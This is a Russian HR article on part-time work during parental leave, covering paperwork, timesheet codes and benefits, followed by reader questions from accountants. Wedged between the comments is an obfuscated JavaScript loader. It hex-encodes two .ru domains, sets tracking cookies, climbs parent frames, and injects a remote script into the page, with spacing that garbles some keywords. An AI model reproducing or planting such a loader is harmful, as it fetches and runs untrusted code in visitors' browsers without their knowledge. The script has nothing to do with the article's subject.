отпуск по уходу за ребенком и неполная рабочая неделя , Публикация №923045

в отпуске по уходу за ребенком, вы обязаны предоставить ему возможность работать на условиях неполного рабочего времени .

Оформляется это так:

1. Подпишите с работником дополнительное соглашение к трудовому договору. В соглашении надо обязательно указать, что до окончания отпуска по уходу за ребенком работнику :

- устанавливается неполный рабочий день (должен быть короче обычного минимум на час) или неполная рабочая неделя;

- оплата труда производится пропорционально отработанному времени (если труд работника не оплачивается по сдельным расценкам).

2. Издайте приказ о работе на условиях неполного рабочего времени.

3. Дополните графу 4 табеля учета рабочего времени еще одной строкой, чтобы дни, когда работник работал в период отпуска по уходу за ребенком, можно было отметить одновременно:

- и кодом "ОЖ" или "15";

- и кодом "Я" или "01" с указанием количества отработанных часов.

Выходные и нерабочие праздничные дни, приходящиеся на период такого отпуска по уходу за ребенком, отмечайте одновременно:

- и кодом "ОЖ" или "15";

- и кодом "В" или "26".

4. Укажите продолжительность работы на условиях неполного рабочего времени в период отпуска по уходу за ребенком в разд. Х "Дополнительные сведения" личной карточки работника.

Период отпуска по уходу за ребенком, во время которого работник трудился на условиях неполного рабочего времени, включается:

- и в стаж, дающий право на ежегодный оплачиваемый отпуск ;

- и в стаж, исходя из которого определяется размер пособия по временной нетрудоспособности.

Работнику, который работает неполное рабочее время, находясь в отпуске по уходу за ребенком, выплачиваются:

- пособие по уходу за ребенком в полном размере до достижения ребенком возраста 1,5 лет ;

- зарплата за отработанное время ;

- пособие по временной нетрудоспособности за время болезни.

Обратите внимание, ежегодный оплачиваемый отпуск не предоставляется работнику, который работает на условиях неполного рабочего времени и одновременно получает пособие по уходу за ребенком до 1,5 лет .

Для того чтобы такой работник воспользовался своим правом на ежегодный оплачиваемый отпуск, ему следует прервать отпуск по уходу за ребенком. Прерванный отпуск впоследствии может быть возобновлен .

Хотела уточнить,если работник работает 1 день в неделю на 1 час короче,а остальные дни по 8 часов.Это считается сокращенная рабочая неделя?И подходит ли такой вариант для отпуска по уходу за ребенком?

wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="17781",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=f unction(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(wind ow .smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Здравствуйте. Скажите, пожалуйста, сколько минимальное количество часов нужно работать при 1,5 ставке работнику, находящемуся в отпуске по уходу за ребенком и работающему неполное рабочее время?

Здравствуйте! Подскажите пожалуйста, сотрудница в отпуске по уходу до 3х лет, хочет выйти на 0,5 ставки. (раб.день 7,2ч). При то,что у нее ребенок инвалид и мы должны предоставлять ей 1 день в неделю дополнительный выходной. Но, сотрудница не хочет выходной, а хочет чтобы мы ей 0,5 сократили на 1 час.
Я оформляю ей неполный рабочий день. 3,6ч-1 ч= 2,88 ч???
рабочий день с 9 до 11,53ч????
Делаю ДС, приказ! Все правильно, ничего не забыла?

Здравствуйте. Есть сотрудница, которая находиться в отпуске по уходу за ребенком и работает на условиях неполного рабочего времени. Ей надо пару недель побыть дома и не выходить на работу. Как это надо оформить документально? я думаю. что ей надо написать заявление, вот только какое?

и на каждое такое заявление мне надо делать доп соглашение?